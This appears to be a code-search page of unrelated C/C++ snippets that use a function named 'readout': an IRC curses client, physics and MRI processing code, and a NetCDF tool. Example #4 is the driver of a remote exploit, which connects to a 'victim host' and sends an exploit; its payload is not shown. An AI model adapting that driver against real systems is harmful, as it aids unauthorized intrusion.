Exemple #1
0
int main(void)
{
	int in;
	int c[10] = {0};
	int i = 0, j;
//	int mask = 1;
	
	scanf("%d", &in);
	//input<0, first printout "fu"
	if (in<0) {
        in = -in;
        printf("fu ");
    }
    //input is one digit
    if (in<10) {
    	c[i] = in;
    	readout(c[i]);
	}
	//input more than one digit
	else {
		while (in) {
			c[i] = in % 10;
			in /= 10;
			i++;
		}
		for (j=i-1; j>=0; j--) {
			if (j==i-1){
				readout(c[j]);
			} else {
				printf(" ");
				readout(c[j]);
			}
			
		}
	}
//	int copyin = in;
//
//	while (copyin>9) {
//		mask *= 10;
//		copyin /= 10;
//	}
//	for (; mask>0; ) {
//		i = in / mask;
////		printf("%d", i);
//		printf(" ");
//		readout(i);
//		in %= mask;
//		mask /= 10;
//	}
	
	printf("\n");
    
    return 0;    
}
Exemple #2
0
static void updatewout(void) {
    rewind(out);
    delwin(wout);
    wout = newwin(winrows - 1, wincols, 0, 0);
    scrollok(wout, true);
    readout();
}
Exemple #3
0
main(int argc, char *argv[])
{
	FILE *fopen(),*fp;	
	int i;
	
	fp = fopen ( argv[1] , "r" );
	file_check(fp);
	readout(fp,argv);
	
	exit(0);
}
Exemple #4
0
int main(int argc, char *argv[]){

FILE *out;
int sock, sockconn, type;
struct sockaddr_in addr;
struct hostent *hp;


if(argc != 5)
  info();

type = atoi(argv[4]);

if(type < 0 || type > 3)
  info();

if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
  errsock();

  system("clear");
  printf("[*] Creating socket  [OK]\n");

if((hp = gethostbyname(argv[1])) == NULL)
  errgeth();

  printf("[*] Resolving victim host [OK]\n");

memset(&addr,0,sizeof(addr));
memcpy((char *)&addr.sin_addr,hp->h_addr,hp->h_length);
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);

sockconn = connect(sock, (struct sockaddr *)&addr, sizeof(addr));
if(sockconn < 0)
  errconn();

  printf("[*] Connecting at victim host   [OK]\n",argv[1]);

out = fdopen(sock,"a");
setbuf(out,NULL);

sendxpl(out, argv, type);

  printf("[*] Sending exploit  [OK]\n");

readout(sock, argv);

shutdown(sock, 2);
close(sock);
fclose(out);

return(0);

}
Exemple #5
0
int main(int argc, char *argv[]) {
    char infile[PATH_MAX], outfile[PATH_MAX], *abspath;
    int outfd;
	struct stat st;
    struct passwd *pwd = getpwuid(getuid());

    if (setlocale(LC_ALL, "") == NULL)
        warn("failed to set locale");

    /* check for switches - only -v and -h are available and must be before any arguments */
    if (argv[1][0] == '-' && argv[1][2] == '\0') switch (argv[1][1]) {
        case 'v': errx(EXIT_SUCCESS, "niii - %s - by c00kiemon5ter", VERSION);
        case 'h': errx(EXIT_SUCCESS, "%s", USAGE);
        default:  errx(EXIT_FAILURE, "%s", USAGE);
    }
    /* check for argument - if none use the user's home dir, else use the given dir */
    switch (argc) {
        case 1: snprintf(ircdir, sizeof(ircdir), "%s/irc", pwd->pw_dir); break;
        case 2: strncpy(ircdir, argv[1], sizeof(ircdir)); break;
        default: errx(EXIT_FAILURE, "%s", USAGE);
    }

    /* check if there is indeed such a directorty and get the absolute path */
	if (stat(ircdir, &st) < 0 || !S_ISDIR(st.st_mode))
		err(EXIT_FAILURE, "failed to find directory: %s", ircdir);
    if ((abspath = realpath(ircdir, NULL)) == NULL)
        err(EXIT_FAILURE, "failed to get absolute path for directory: %s", ircdir);
    strncpy(ircdir, abspath, sizeof(ircdir));
    free(abspath);
    /* create the filepaths and open the files - we need to monitor the out descriptor */
    sprintf(outfile, "%s/out", ircdir);
    sprintf(infile, "%s/in", ircdir);
    if ((in = fopen(infile, "w")) == NULL)
        err(EXIT_FAILURE, "failed to open file: %s", infile);
    if ((outfd = open(outfile, O_RDONLY)) == -1)
        err(EXIT_FAILURE, "failed to open descriptor for file: %s", outfile);
    if ((out = fdopen(outfd, "r")) == NULL)
        err(EXIT_FAILURE, "failed to open file: %s", outfile);

    /* start curses - create windows - read history */
    createwins();
    readout();
    /* listen for new messages on out file */
    /* handle input */
    while (running) readinput();
    /* cleanup */
    destroywins();
    fclose(in);
    fclose(out);
    close(outfd);
    /* all was good :] */
    return EXIT_SUCCESS;
}
Exemple #6
0
static void readinput(void) {
    char *input;
    if ((input = calloc(1, LINE_MAX)) == NULL)
        err(EXIT_FAILURE, "failed to allocate space for input");

    int r = wgetnstr(winp, input, LINE_MAX);
    updatewinp();

    if (r == ERR) readout();
    else if (r == KEY_RESIZE) redrawall();
    else if (input == NULL) return;
    else if (strlen(input) == 0) redrawall();
    else if (strcmp(input, ESCSYMB) == 0) running = false;
    else sendmesg(input);
}
StatusCode FastGaussSmearDigi::initialize() {
  info() << "initialize" << endmsg;

  m_geoSvc = service("GeoSvc");

  StatusCode sc = GaudiAlgorithm::initialize();
  if (sc.isFailure()) return sc;

  auto lcdd = m_geoSvc->lcdd();
  auto readout = lcdd->readout(m_readoutName);
  m_decoder = readout.idSpec().decoder();
  auto segmentationXZ = dynamic_cast<DD4hep::DDSegmentation::CartesianGridXZ*>(readout.segmentation().segmentation());
  if (nullptr == segmentationXZ) {
    error() << "Could not retrieve segmentation!" << endmsg;
    return StatusCode::FAILURE;
  }
  m_segGridSizeX = segmentationXZ->gridSizeX();
  m_segGridSizeZ = segmentationXZ->gridSizeZ();
  m_volman = lcdd->volumeManager();
  return sc;
}
  int NoiseAdjustGadget::process(GadgetContainerMessage<ISMRMRD::AcquisitionHeader>* m1, GadgetContainerMessage< hoNDArray< std::complex<float> > >* m2)
  {
    bool is_noise = m1->getObjectPtr()->isFlagSet(ISMRMRD::ISMRMRD_ACQ_IS_NOISE_MEASUREMENT);
    unsigned int channels = m1->getObjectPtr()->active_channels;
    unsigned int samples = m1->getObjectPtr()->number_of_samples;

    //TODO: Remove this
    if ( measurement_id_.empty() ) {
      unsigned int muid = m1->getObjectPtr()->measurement_uid;
      std::ostringstream ostr;
      ostr << muid;
      measurement_id_ = ostr.str();
    }

    if ( is_noise ) {
      if (noiseCovarianceLoaded_) {
	m1->release(); //Do not accumulate noise when we have a loaded noise covariance
	return GADGET_OK;
      }
      
      // this noise can be from a noise scan or it can be from the built-in noise
      if ( number_of_noise_samples_per_acquisition_ == 0 ) {
	number_of_noise_samples_per_acquisition_ = samples;
      }

      if ( noise_dwell_time_us_ < 0 ) {
	if (noise_dwell_time_us_preset_ > 0.0) {
	  noise_dwell_time_us_ = noise_dwell_time_us_preset_;
	} else {
	  noise_dwell_time_us_ = m1->getObjectPtr()->sample_time_us;
	}
      }

      //If noise covariance matrix is not allocated
      if (noise_covariance_matrixf_.get_number_of_elements() != channels*channels) {
	std::vector<size_t> dims(2, channels);
	try {
	  noise_covariance_matrixf_.create(&dims);
	  noise_covariance_matrixf_once_.create(&dims);
	} catch (std::runtime_error& err) {
	  GEXCEPTION(err, "Unable to allocate storage for noise covariance matrix\n" );
	  return GADGET_FAIL;
	}

	Gadgetron::clear(noise_covariance_matrixf_);
	Gadgetron::clear(noise_covariance_matrixf_once_);
	number_of_noise_samples_ = 0;
      }

      std::complex<float>* cc_ptr = noise_covariance_matrixf_.get_data_ptr();
      std::complex<float>* data_ptr = m2->getObjectPtr()->get_data_ptr();
      
      hoNDArray< std::complex<float> > readout(*m2->getObjectPtr());
      gemm(noise_covariance_matrixf_once_, readout, true, *m2->getObjectPtr(), false);
      Gadgetron::add(noise_covariance_matrixf_once_, noise_covariance_matrixf_, noise_covariance_matrixf_);

      number_of_noise_samples_ += samples;
      m1->release();
      return GADGET_OK;
    }


    //We should only reach this code if this data is not noise.
    if ( perform_noise_adjust_ ) {
      //Calculate the prewhitener if it has not been done
      if (!noise_decorrelation_calculated_ && (number_of_noise_samples_ > 0)) {
	if (number_of_noise_samples_ > 1) {
	  //Scale
	  noise_covariance_matrixf_ *= std::complex<float>(1.0/(float)(number_of_noise_samples_-1));
	  number_of_noise_samples_ = 1; //Scaling has been done
	}
	computeNoisePrewhitener();
	acquisition_dwell_time_us_ = m1->getObjectPtr()->sample_time_us;
	if ((noise_dwell_time_us_ == 0.0f) || (acquisition_dwell_time_us_ == 0.0f)) {
	  noise_bw_scale_factor_ = 1.0f;
	} else {
	  noise_bw_scale_factor_ = (float)std::sqrt(2.0*acquisition_dwell_time_us_/noise_dwell_time_us_*receiver_noise_bandwidth_);
	}

	noise_prewhitener_matrixf_ *= std::complex<float>(noise_bw_scale_factor_,0.0);

	GDEBUG("Noise dwell time: %f\n", noise_dwell_time_us_);
	GDEBUG("Acquisition dwell time: %f\n", acquisition_dwell_time_us_);
	GDEBUG("receiver_noise_bandwidth: %f\n", receiver_noise_bandwidth_);
	GDEBUG("noise_bw_scale_factor: %f", noise_bw_scale_factor_);
      }

      if (noise_decorrelation_calculated_) {
          //Apply prewhitener
          if ( noise_prewhitener_matrixf_.get_size(0) == m2->getObjectPtr()->get_size(1) ) {
               hoNDArray<std::complex<float> > tmp(*m2->getObjectPtr());
               gemm(*m2->getObjectPtr(), tmp, noise_prewhitener_matrixf_);
          } else {
               if (!pass_nonconformant_data_) {
                     m1->release();
                     GERROR("Number of channels in noise prewhitener %d is incompatible with incoming data %d\n", noise_prewhitener_matrixf_.get_size(0), m2->getObjectPtr()->get_size(1));
                     return GADGET_FAIL;
               }
          }
      }
    }

    if (this->next()->putq(m1) == -1) {
      GDEBUG("Error passing on data to next gadget\n");
      return GADGET_FAIL;
    }
    
    return GADGET_OK;

  }
int main(int argc, char ** argv){
  NcError error(NcError::verbose_nonfatal);

  try{
    std::string inFile;
    std::string outFile;
    std::string varName;
    std::string inList;
//    bool calcStdDev;

    BeginCommandLine()
      CommandLineString(inFile, "in", "");
      CommandLineString(inList, "inlist","");
      CommandLineString(varName, "var", "");
      CommandLineString(outFile, "out", "");
  //    CommandLineBool(calcStdDev, "std");
      ParseCommandLine(argc, argv);
    EndCommandLine(argv)
    AnnounceBanner();
  

    if ((inFile != "") && (inList != "")){
      _EXCEPTIONT("Can only open one file (--in) or list (--inlist).");
    }

    //file list vector
    std::vector<std::string> vecFiles;
    if (inFile != ""){
      vecFiles.push_back(inFile);
    }
    if (inList != ""){
      GetInputFileList(inList,vecFiles);
    }

    //open up first file
    NcFile readin(vecFiles[0].c_str());
    if (!readin.is_valid()){
      _EXCEPTION1("Unable to open file %s for reading",\
        vecFiles[0].c_str());
    }
    int tLen,latLen,lonLen;

    NcDim * time = readin.get_dim("time");
    tLen = time->size();
    NcVar * timeVar = readin.get_var("time");

    NcDim * lat = readin.get_dim("lat");
    latLen = lat->size();
    NcVar * latVar = readin.get_var("lat");

    NcDim * lon = readin.get_dim("lon");
    lonLen = lon->size();
    NcVar * lonVar = readin.get_var("lon");

    //read input variable
    NcVar * inVar = readin.get_var(varName.c_str());
    //Create output matrix
    DataMatrix<double> outMat(latLen,lonLen);
    densCalc(inVar,outMat);
    //Option for calculating the yearly standard deviation 
 /*   if (calcStdDev){
      for (int a=0; a<latLen; a++){
        for (int b=0; b<lonLen; b++){
          storeMat[0][a][b] = outMat[a][b];
        }
      }
    }
*/
    //If multiple files, add these values to the output
    if (vecFiles.size()>1){
      DataMatrix<double> addMat(latLen,lonLen);
      std::cout<<"There are "<<vecFiles.size()<<" files."<<std::endl;
      for (int v=1; v<vecFiles.size(); v++){
        NcFile addread(vecFiles[v].c_str());
        NcVar * inVar = addread.get_var(varName.c_str());
        densCalc(inVar,addMat);
        for (int a=0; a<latLen; a++){
          for (int b=0; b<lonLen; b++){
            outMat[a][b]+=addMat[a][b];
          }
        }
/*        if (calcStdDev){
          for (int a=0; a<latLen; a++){
            for (int b=0; b<lonLen; b++){
              storeMat[v][a][b] = addMat[a][b];
            }
          }
        }*/
        addread.close(); 
      }
      //Divide output by number of files
      double div = 1./((double) vecFiles.size());
      for (int a=0; a<latLen; a++){
        for (int b=0; b<lonLen; b++){
          outMat[a][b]*=div;
        }
      }
    }
 
    NcFile readout(outFile.c_str(),NcFile::Replace, NULL,0,NcFile::Offset64Bits);
    NcDim * outLat = readout.add_dim("lat", latLen);
    NcDim * outLon = readout.add_dim("lon", lonLen);
    NcVar * outLatVar = readout.add_var("lat",ncDouble,outLat);
    NcVar * outLonVar = readout.add_var("lon",ncDouble,outLon);
    std::cout<<"Copying dimension attributes."<<std::endl;
    copy_dim_var(latVar,outLatVar);
    copy_dim_var(lonVar,outLonVar);

    std::cout<<"Creating density variable."<<std::endl;

    NcVar * densVar = readout.add_var("dens",ncDouble,outLat,outLon);
    densVar->set_cur(0,0);
    densVar->put((&outMat[0][0]),latLen,lonLen);

/*    if (calcStdDev){
      NcVar * stdDevVar = readout.add_var("stddev", ncDouble,outLat,outLon);
      DataMatrix<double> stdDevMat(latLen,lonLen);
      yearlyStdDev(storeMat,vecFiles.size(),latLen,lonLen,stdDevMat);
      stdDevVar->set_cur(0,0);
      stdDevVar->put(&(stdDevMat[0][0]),latLen,lonLen);
      std::cout<<" created sd variable"<<std::endl;

    }
*/
    readout.close();
    readin.close();
  } 
  catch (Exception &e){
    std::cout<<e.ToString()<<std::endl;
  }
}